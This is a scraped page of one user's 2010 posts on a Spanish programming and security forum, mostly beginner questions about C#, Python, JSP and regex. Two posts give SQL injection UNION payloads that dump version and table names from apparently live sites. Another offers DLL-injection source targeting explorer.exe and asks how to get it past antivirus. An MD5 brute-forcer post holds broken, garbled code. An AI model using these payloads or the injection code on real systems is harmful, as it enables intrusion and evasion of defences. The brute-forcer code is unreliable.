|
21
|
Programación / .NET (C#, VB.NET, ASP) / [Source]Control de nodos
|
en: 29 Octubre 2010, 21:49 pm
|
Bueno, he acabado mi propio ejercicio tras varios dias de dejarlo de lado, es muy sencillo, un control de nodos. Los componentes de la gui se presuponen facilmente viendo el codigo: -3 Botones -1 TreeView Aqui mi codigo using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace Pruebas { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { if (nombreNodo.Text == "") { TreeNode nodo = new TreeNode ("NoName"); nodos.Nodes.Add(nodo); } else { TreeNode nodo = new TreeNode (nombreNodo .Text); nodos.Nodes.Add(nodo); } nombreNodo.Text = ""; } private void button2_Click(object sender, EventArgs e) { TreeNode nodo2 = nodos.SelectedNode; if(nombreNodo.Text == "") { nodo2.Nodes.Add("NoName"); } else { nodo2.Nodes.Add(nombreNodo.Text); } nombreNodo.Text = ""; } private void button3_Click(object sender, EventArgs e) { nodos.Nodes.Remove(nodos.SelectedNode); } } }
|
|
|
22
|
Programación / .NET (C#, VB.NET, ASP) / Empezando en C#: Mis problemas con TreeView
|
en: 17 Octubre 2010, 17:48 pm
|
Buenas a todos, me presento y me estreno en este foro Hace ya un tiempo tenia ganas de meterme en esto del C# y el .NET en general (Yo vengo de C++ y Java), gracias al amigo D4N93R, se me pusieron los dientes largos y decidí probarlo Ahora os traigo mi primera duda, estoy diseñando una aplicación sencilla, como ejercicio, y pretendo hacerla bastante dinamica. Es basicamente un programa en el que tu introduces un nombre en una textBox y mediante un boton lo escribes y vas añadiendo en forma de nodos de un arbol a un TreeView. El problema se presenta cuando quiero añadir un nodo dentro de otro nodo. Es posible hacerlo? Como? Os dejo el codigo que tengo hecho: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { } private void introducir_Click(object sender, EventArgs e) { TreeNode nodo = new TreeNode (nombreNodo .Text); arbolClientes.Nodes.Add(nodo); } } }
EDITO: Solucionado xD ahora me salta el problema que no se como volver a la raiz, osea dejar de añadir sub-nodos dentro de uno general xD Tengo la sospecha de que debo cambiar el selected node, el problema es que no se detectar si hay alguno selecionado, no se si existe alguna condicion. Os dejo el nuevo codigo: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public TreeNode nodo; public TreeNode nodo1; public Dictionary<String, TreeNode> biblioteca; public Boolean primera = true; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { } private void introducir_Click(object sender, EventArgs e) { nodo = new TreeNode (nombreNodo .Text); if (primera) { arbolClientes.Nodes.Add(nodo); primera = false; } else { arbolClientes.SelectedNode.Nodes.Add(nodo); } } private void btnBorrar_Click(object sender, EventArgs e) { arbolClientes.Nodes.Remove(arbolClientes.SelectedNode); } } }
Saludos a todos
|
|
|
23
|
Programación / Scripting / [Python]Problema al ejecutar metodo principal
|
en: 9 Septiembre 2010, 22:51 pm
|
Muy buenas noches a todos! He estado codeando un pequeño ejercicio que se me ocurrió en Python y he decidido hacerlo con clases y orientado a objetos, el problema es que no soy capaz de llamar al metodo main(), os muestro el codigo que llevo hecho: ''' Created on Sep 9, 2010 @author: Debci ''' # -*- coding: utf-8 -*- class Matrizes: #Nuestra querida matriz matriz = [] def __init__(self): self.main() def main(self): while True: print "###### Manejo dinamico de matrizes ######\n\n" print "1-Insertar valores a la matriz" print "2-Examinar un elemento" print "3-Borrar un elemento" print "4-Modifica un elemento situado en un indice" print "5-Visualizar la matriz completa" print "6-Salir de esta aplicacion" indiceLeido = raw_input("Introduce tu opcion:") indiceLeido = int(indiceLeido) Matrizes.opcion(indiceLeido) def opcion(self,indice): #Comprobamos que indice es el introducido if indice == 1: numeroValores = raw_input("Cuantos valores desea introducir?\n") numeroValores = int(numeroValores) for i in range(numeroValores): valor = raw_input("Introduzca el valor asignado al indice " + str(i) + ":") valor = int(valor) Matrizes.matriz[i] = valor elif indice == 5: for j in Matrizes.matriz: print j if __name__ == "__main__": Matrizes.main()
Y al ejecutar el interprete me devuelve el siguiente error: Traceback (most recent call last): File "/home/debci/workspace/Tester/src/main.py", line 41, in <module> Matrizes.main(super) TypeError: unbound method main() must be called with Matrizes instance as first argument (got type instance instead) Que ocurre? No estoy seguro pero me daba como error que habia que indicar self como primer parametro, pero no acabo de ver porque falla... Un saludo y gracias desde ya.
|
|
|
24
|
Seguridad Informática / Nivel Web / Problema al hacer una SQLi
|
en: 1 Septiembre 2010, 19:24 pm
|
Hola muy buenas a todos, probando una SQLi he encontrado lo que parece ser un posible vector de ataque: http://www.mipagina.com/articulo/'1 CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1 CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1Se supone que asi es vulnerable no? Pero cuando intento hacer la injeción con esto: -1+union+select+1,2,3,n-- (Con n me refiero a que voy subiendo de tablas) Al insertar el -1 se va el error y no aparece ninguna tabla tras probar hasta 20 (no creo que haya mas, sinceramente). Es vulnerable o simplemente no la estoy atacando bien? Saludos
|
|
|
25
|
Programación / Java / [Source]Bruteforcer MD5
|
en: 29 Agosto 2010, 13:05 pm
|
Si! LO he conseguido, he hecho que el algoritmo sea dinámico y ampliable, he empezado a trabajar de nuevo en el para un projecto que requiere una comunicación de red, para realizar checksums, y modificar otros por fuerza bruta. Tal como esta el codigo puesto (podeis modificar 2 parametros para ampliarlo), puede descifrar cualquier cadena de texto de 3 caracteres que contenga A,B,C por lo que yo he usado como ejemplo el siguiente hash: md5("ACB") = 79661ff25e39af70fc48d7785f587e85; Vamos a cualquier pagina de cifrado MD5 y le metemos el siguiente texto para cifrar: ACB y obtenemos que la hash es: 79661ff25e39af70fc48d7785f587e85 Si no sabemos como devolverla al estado original ahora viene cuando actua mi programa: import java.lang.String; import java.math.BigInteger; import java.security.MessageDigest;root import java.security.NoSuchAlgorithmException; import java.util.logging.Level; import java.util.logging.Logger; /** * * @author Debci */ public class Encriptor { public static void main (String[] args ) { String match = "79661ff25e39af70fc48d7785f587e85"; char[] mapaChars = {'A','B','C','D'}; int longitud = 3; int posibles = (int) Math. pow(longitud,mapaChars. length); char[] combinacion = new char[longitud]; int[] indice = new int[longitud]; for(int i = 0; i < posibles;i++) { for(int x = 0; x < indice.length; x++) { if(!(x==indice.length)) { if(indice[x] == mapaChars.length) { indice[x] = 0; indice[x+1]++; } }else{ indice[x] = 0; } } for(int h = 0; h < longitud; h++) { combinacion[h] = mapaChars[indice[h]]; } char[] resultadoTemporal = new char[longitud]; for(int j = 0; j < combinacion.length; j++) { resultadoTemporal[j] = combinacion[j]; } //System.out.println(resultadoTemporal); String resultadoEncriptado = new String(Encriptor. encriptaMD5(resultadoFinal )); if(resultadoEncriptado.equals(match)) { resultado = resultadoTemporal.toString(); System. out. println("Hash crackeada con exito!\n" + resultadoFinal ); break; }
Encriptad cualquier cadena con los caracteres: char[] mapaChars = {'A','B','C','D'};
Añadid los que querais, para crackear cualquier hash, el algoritmo esta diseñado para adaptarse a un nuevo dicionario y a la longitud de la hash variable: int longitud = 3;
Osea que es extensible, pero si aumentamos mucho puede no funcionar por limitaciones de datos tipo int, las posibilidades serian grandiosas y un int no puede con un dato asi de grande, por lo que ya trabajo en un método para no depender de la VM de java y almacenar dicho numero de combinaciones posibles en memoria directamente. Cabe mencionar que para entender el codigo quizás haya que tener un nivel medio-basico de combinatoria y matematicas estadisticas (sobre todo con probabilidad). Disfruten el codigo! Leyer estate tranquilo que esta quedando de coña! Saludos
|
|
|
26
|
Seguridad Informática / Nivel Web / [SQLi]Problema al obtener informationschema.tables
|
en: 25 Agosto 2010, 22:23 pm
|
Buenas a todos, estoy auditando un sistema web casera de la tienda de mi tio, me dijo que lo podia usar para hacer pruebas si no modificaba nada La cuestión es que encontré varias fallas SQLi, y ahora quiero simular la explotación o por lo menos obtener datos interesantes, primero comprové que la variable ID era vulnerable: Y devolvió error! Luego me aseguré de ver que tablas eran vulnerables y en la numero 7 pude observar que me devolvia 2,4,5 noticias.php?id=-1+union+select+1,2,3,4,5,6,7-- Así que procedí a obtener la information_schema, pero antes comprobar la versión: noticias.php?id=id=-1+union+select+1,@@version,3,4,5,6,7-- Y me deolvió: 4.0.27-max-log Y según se, este mysql no trae information_schema , cierto? Ya me confirmarán. Ahora viene el problema, intento obtener tablas de information_schema: noticias.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables-- Pero tan solo obtengo: Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(table_name),3,4,5,6,7 from information_schema.tables--' at lin Que estoy haciendo mal? Juraria que la querie esta bien formulada pero no soy muy dado a los SQLi :S Saludos
|
|
|
27
|
Programación / Java / [JSP]Problemas con el classpath? O error de codigo :S
|
en: 24 Agosto 2010, 14:00 pm
|
Buenas a todos, estoy diseñando un soft web para mostrar una lista de opcodes (te suena LEYER?), queri ver si algun usser que haya usado mas JSP podria saber porque ocurre el siguiente error: <%@ page import="java.io.*,java.util.*,java.net.*,java.sql.*" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <% Connection canal = null; Statement instruccion=null; ResultSet tabla= null; String conexion = ("jdbc:mysql://localhost/opcodes?user='noteinteresa'&password='noteinteresa'"); //Abrir el enlace try{ Class.forName("com.mysql.jdbc.Driver").newInstance(); canal = DriverManager.getConnection(conexion); instruccion = canal.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); } catch(ClassNotFoundException e){ out.println(e);} catch(SQLException e){ out.println(e);} try{ tabla = instruccion.executeQuery("SELECT * FROM dictionary"); out.println("<table border=1>"); while(tabla.next()){ out.println(" <tr><td>"+tabla.getString(1)+" </td><td>"+tabla.getString(2)+" </td><td>"+tabla.getString(3)+" </td><td>"+tabla.getString(4)+" </td></tr>"); } } catch(Exception e){ out.println(e);} %>
Me devuelve el siguiente error: java.lang.ClassNotFoundException: com.mysql.jdbc.Driver java.lang.NullPointerException He añadido al projecto en netbeans dicha libreria y nada :s Saludos
|
|
|
28
|
Programación / Scripting / Problema con expresiones regulares
|
en: 21 Agosto 2010, 22:05 pm
|
Hola a todos, hace un rato me ha dado el puntazo de hacerme un parser para una pagina web y he decidido hacerlo en Python, he leido la doc de las regexp con algunos ejemplos, pero no funciona como deberia, al menos eso me parece a mi: #!/usr/bin/python import re while True: palabra = raw_input("Introduce tu expresion para ver si coincide:\n"); if re.match("http://(.+)\net", palabra): print "Cierto" else: print "Falso"
Si en teoria introduzco http://www.google.netDeberia devolverme cierto no? Pero no es asi. No tengo claro del todo que hace el + pero creo que concatena las dos cadenas, es como el divisor entre miembros, pero no estoy seguro. Saludos
|
|
|
29
|
Sistemas Operativos / GNU/Linux / Internet desconcertantemente lento con Backtrack 4 R1!
|
en: 20 Agosto 2010, 23:22 pm
|
Asi es amigos, tras instalar y probar Backtrack4 por algun motivo mi conexion a internet se ralentiza usando este sistema operativo. Si pruebo en mi otra particion con Windows o Ubuntu, funciona perfectamente sin ralentizaciones.
Cabe mencionar que en la version anterior de Backtrack iba perfectamente, osea la Backtrack 4 final. Conectaba y nevagaba a velocidad normal sin problemas.
Alguien tiene idea de lo que puede estar pasando?
Saludos
|
|
|
30
|
Programación / Programación C/C++ / [SOURCE]Inyeccion DLL y control de procesos!
|
en: 18 Agosto 2010, 19:44 pm
|
Buenas a todos, tras seguir investigando el API de windows, al final he conseguido injectar mi propia dll, en este caso bajo el proceso explorer.exe, que tras realizar pruebas he visto que se bloqueaba, por lo que el programa reinicia el proceso antes de injectar la DLL. Se que me van a hechar la bronca por abrir el proceso con una call a system(); pero no queria complicarme demasiado la vida, al menos no ahora, queria asegurarme no mas de que funcionaba. Luego encontre que los antivirus detectan el CreateRemoteThread como malicioso, asi que agradeceria algun otro metodo o consejo. Sin mas el codigo: PsControl.h #ifndef _PSCONTROL_H_ #define _PSCONTROL_H_ #include <Windows.h> #include <iostream> #include <cstdlib> #include <tlhelp32.h> #include <tchar.h> #include <stdio.h> using namespace std; int killProcess(DWORD pid) { HANDLE proceso; proceso=OpenProcess(PROCESS_TERMINATE,FALSE,pid); //cerramos el proceso TerminateProcess(proceso,0); CloseHandle(proceso); return 0; } DWORD getPsId(const char* PsName) { DWORD ProcessID; HANDLE Handle; PROCESSENTRY32 ProcI; Handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); ProcI.dwSize=sizeof(PROCESSENTRY32); while(Process32Next(Handle,&ProcI)) if(!strcmp(ProcI.szExeFile,PsName)) ProcessID=ProcI.th32ProcessID; CloseHandle(Handle); return ProcessID; } #endif
main.cpp #include <windows.h> #include <Tlhelp32.h> #include <stdio.h> #include <conio.h> #include <iostream> #include "PsControl.h" using namespace std; void main() { HANDLE psHandle; LPVOID RemoteString; LPVOID nLoadLibrary; int PSpid; DWORD psPID = getPsId("explorer.exe"); cout << psPID << endl; killProcess(psPID); system("explorer.exe"); HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) }; cout << "[!]Buscando el proceso... "<< endl; while(Process32Next(handle, &procinfo)) { if(!strcmp(procinfo.szExeFile, "explorer.exe")) { CloseHandle(handle); PSpid = procinfo.th32ProcessID; cout << "[+]Proceso encontrado!" << endl; } } CloseHandle(handle); cout << "[!]Iniciando injecion de DLL..." << endl; cout << "[+]Obteniendo handle del proceso..." << endl; if(!(psHandle = OpenProcess(PROCESS_ALL_ACCESS, false, PSpid)) == 0) cout << "[-]Error al conseguir el handler del proceso!" << endl; nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); RemoteString = (LPVOID)VirtualAllocEx(psHandle,NULL,strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); WriteProcessMemory(psHandle,(LPVOID)RemoteString,"C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll",strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),NULL); CreateRemoteThread(psHandle,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); CloseHandle(psHandle); getch(); }
El codigo no esta ordenado, he repetido una misma funcion 2 veces (lo arreglare) pero queria que me dijesen que tal. Saludos
|
|
|
|
|
|
|